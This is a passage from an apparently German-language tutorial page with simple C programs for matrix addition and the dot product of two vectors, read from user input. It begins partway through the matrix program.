	int index_zeile, index_spalte;
	// printf("*array_a %lf\n*array_b %lf\n*array_c %lf\n", *array_a, *array_b, *array_c); // TEST-Ausgabe
	for(index_zeile=0; index_zeile < zeile; index_zeile++) {
		for(index_spalte=0; index_spalte < spalte; index_spalte++) {
			*(array_c + (index_zeile * spalte) + index_spalte) = *(array_a + (index_zeile * spalte) + index_spalte) + *(array_b + (index_zeile * spalte) + index_spalte);
		}
		printf("\n");
	}
}

void matrix_ausgabe (double *matrix, int zeile, int spalte) {
	int index_zeile, index_spalte;
	// printf("*matrix %lf", *matrix); // TEST-Ausgabe
	printf("\n\n");
	for(index_zeile=0; index_zeile < zeile; index_zeile++) {
		for(index_spalte=0; index_spalte < spalte; index_spalte++) {
			printf(" %.2lf", *(matrix + (index_zeile * spalte) + index_spalte));
		}
		printf("\n");
	}
}

int main (void) {
	int index_zeile, zeile, index_spalte, spalte;

	// Anzahl der Zeilen einlesen
	do {
		printf("Anzahl der Zeilen (1-%i): ",MAX_ZEILEN);
		scanf("%i",&zeile);
		if (zeile > MAX_ZEILEN ) {
			printf("\n zu viel Zeilen...\n\n");
		} else if (zeile < 1) {
			printf("\n zu wenig Zeilen...\n\n");
		}
	} while (zeile > MAX_ZEILEN || zeile < 1);
	printf("\n");
	// Anzahl der Spalten einlesen
	do {
		printf("Anzahl der Spalten (1-%i): ",MAX_SPALTEN);
		scanf("%i",&spalte);
		if (spalte > MAX_SPALTEN ) {
			printf("\n zu viel Spalten...\n\n");
		} else if (zeile < 1) {
			printf("\n zu wenig Spalten...\n\n");
		}
	} while (spalte > MAX_SPALTEN || spalte < 1);
	printf("\n");

	double array_a[zeile][spalte], array_b[zeile][spalte], array_c[zeile][spalte];

	// Werte fuer Matrize 1 einlesen
	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
    			printf("Wert fuer Zeile %i und Spalte %i (Matrize 1) eingeben: ",index_zeile+1, index_spalte+1);
        		scanf("%lf",&array_a[index_zeile][index_spalte]);
    		}
	}
    	printf("\n");
    	// Werte fuer Matrize 2 einlesen
    	for (index_zeile=0; index_zeile < zeile; index_zeile++) {
    		for ( index_spalte=0; index_spalte < spalte; index_spalte++) {
    			printf("Wert fuer Zeile %i und Spalte %i (Matrize 2) eingeben: ",index_zeile+1, index_spalte+1);
        		scanf("%lf",&array_b[index_zeile][index_spalte]);
    		}
	}

	// printf("zeile + spalta: %i, %i", zeile, spalte); // TEST-Ausgabe

	// Array A und B addieren und in Array C schreiben
	matrix_addition(&array_a[0][0], &array_b[0][0], &array_c[0][0], zeile, spalte);

	// Ausgabe
	matrix_ausgabe(&array_a[0][0], zeile, spalte);
	printf("\n +");
	matrix_ausgabe(&array_b[0][0], zeile, spalte);
	printf("\n =");
	matrix_ausgabe(&array_c[0][0], zeile, spalte);

	return 0;
}

C-Programm – Skalarprodukt

Hier ein kleines Programm, welches das Skalarprodukt von zwei Vektoren berechnet…

/*
 ============================================================================
 Name        : Skalarprodukt.c
 Author      : Voku
 Version     : 1.0
 Description : Skalarprodukt zweier Vektoren
 ============================================================================
 */

#include <stdio.h>
#define MAX 10

int main(void) {
    double vektor1[MAX],vektor2[MAX];  	// Arrays fuer Vektoren (1 und 2)
    int anzahl;      			// Anzahl der Vektoren
    int index;       			// Wert im Array
    double produkt;     		// einzelnes Produkt
    double ergebnis=0.0;  		// Gesamtwert aller Produkte

    printf("Skalarprodukt (innere Produkt) zweier beliebiger Vektoren berechnen:\n\n");

    do {
    	printf("Anzahl der Elemente pro Vektordimension (1-%i):" ,MAX);
        scanf("%i",&anzahl);
        if (anzahl > MAX ) {
        	printf("\n zu viel Dimension...\n\n");
        } else if (anzahl < 1) {
        	printf("\n zu wenig Dimension...\n\n");
        }
    } while (anzahl > MAX || anzahl < 1);

    // Vektorwerte fuer Vektor 1 einlesen
    for (index=0; index < anzahl; index++) {
    	printf("Wert %i fuer Vektor 1 eingeben: ",index+1);
    	scanf("%lf",&vektor1[index]);
    }
    // Vektorwerte fuer Vektor 2 einlesen
    for (index=0; index < anzahl; index++) {
    	printf("Wert %i fuer Vektor 2 eingeben: ",index+1);
    	scanf("%lf",&vektor2[index]);
    }

    // Berechnung des Skalarproduktes
    for(index=0; index < anzahl; index++) {
    	produkt = vektor1[index] * vektor2[index];
    	ergebnis += produkt;
    }

    // Ausgabe
    printf("Skalarprodukt: %.4lf\n",ergebnis);

    return 0;
}